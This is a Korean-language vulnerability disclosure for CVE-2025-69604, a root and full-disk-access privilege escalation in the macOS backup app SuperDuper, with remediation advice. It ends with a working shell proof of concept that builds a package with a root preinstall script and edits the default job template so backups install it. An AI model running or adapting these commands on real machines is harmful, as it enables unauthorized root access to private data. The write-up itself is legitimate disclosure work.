
CVE-2025-69604에 대한 개념 증명 익스플로잇으로, macOS의 SuperDuper 백업 작업에서 악성 패키지 설치를 통한 권한 상승을 시연합니다.
이 취약점은 CVE-2025-61229에 설명된 것과 유사합니다. 공격자는 작업 템플릿을 편집하여 SuperDuper 백업 작업이 임의의 패키지를 설치하도록 할 수 있습니다. 해당 패키지는 루트 사용자 및 최고 수준의 개인정보 접근 권한(전체 디스크 접근)으로 셸 스크립트를 실행할 수 있습니다.
CVSS 3.1 점수: NVD 점수 보류 중.
이 취약점을 방지하려면 SuperDuper! 애플리케이션을 삭제하거나 3.12 업데이트를 적용하십시오.
이 취약점 분석 및 개념 증명은 교육 목적으로만 제공됩니다. 사용에 따르는 책임은 본인에게 있습니다.
이전 SuperDuper CVE-2025-61229 취약점 분석에서 개발자가 SuperDuper 3.11 업데이트에서 해당 취약점을 해결한 후에도 SuperDuper 기본 설정 템플릿이 여전히 본질적으로 안전하지 않다는 것을 발견했습니다. 해당 업데이트는 CVE-2025-61229에 상세히 설명된 특정 취약점만 해결했으며, 공격자가 기본 작업 템플릿을 수정할 수 있다는 사실은 해결하지 못했습니다. 불운하게도 작업 템플릿에는 패키지 설치 기능이 포함되어 있으므로 공격자는 작업 템플릿을 수정하여 루트 사용자 및 전체 디스크 접근 권한으로 소프트웨어를 설치하거나 셸 스크립트를 실행할 수 있는 패키지를 지정할 수 있습니다.
개발자는 "패키지 설치" 기능을 제거하여 이 취약점을 완화했습니다. 그러나 여전히 공격자가 작업 설정 템플릿을 수정할 수 있으며, 개발자는 사용자에게 불편을 주지 않고(즉, 작업을 수정할 때마다 사용자 인증을 요구하지 않고) 이 문제를 해결할 수 없다고 밝혔습니다. 따라서 개발자가 더 안전하게 만들 다른 방법을 찾지 못한 이상, 기본 작업 템플릿은 당분간 수정에 취약한 상태로 남을 것으로 보입니다.
이전 결론을 다시 언급할 가치가 있습니다. 루트 권한과 전체 디스크 접근 권한은 macOS에서 소프트웨어가 얻을 수 있는 최고 권한입니다. 이러한 권한을 요구하는 개발자는 현대적인 보안 설계 원칙과 모범 사례를 준수하는 소프트웨어를 작성해야 합니다. 이 취약점은 물론 CVE-2025-57489 및 CVE-2025-61228에서 발견된 취약점, 그리고 개발자가 이러한 문제가 22년 동안 지속되었다고 인정한 사실까지 고려할 때 SuperDuper가 안전한 제품으로 설계되지 않았으며, 22년 동안 현대 모범 사례를 준수하기 위한 정기적인 설계 개선이 이루어지지 않았음을 보여줍니다.
이 취약점은 CVE-2025-61229와 거의 동일한 방식으로 공격되므로, 대부분 해당 취약점에 대한 이전 분석을 참조하겠습니다. 다음 개념 증명은 SuperDuper 버전 3.11에서의 익스플로잇을 보여줍니다:
mkdir -p /tmp/scripts
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/scripts/preinstall
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/scripts/preinstall
chmod a+x /tmp/scripts/preinstall
pkgbuild --identifier com.gray.sdexploit --nopayload --scripts /tmp/scripts /tmp/attack.pkg
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInstallPackage -bool YES
defaults write "`pwd`"/Settings.plist SDinstallerPackage /tmp/attack.pkg
cp Settings.plist 'Session Settings.sdss'
해당 명령어를 실행한 후 기본 설정으로 백업을 실행하면 attack.pkg가 루트 권한 및 전체 디스크 접근 권한으로 설치됩니다. 최종 결과는 /Library(즉, 루트만 쓸 수 있음)에 Desktop 폴더(즉, 전체 디스크 접근 권한을 가진 코드만 접근 가능)의 목록을 포함하는 "private_data" 파일이 생성됩니다.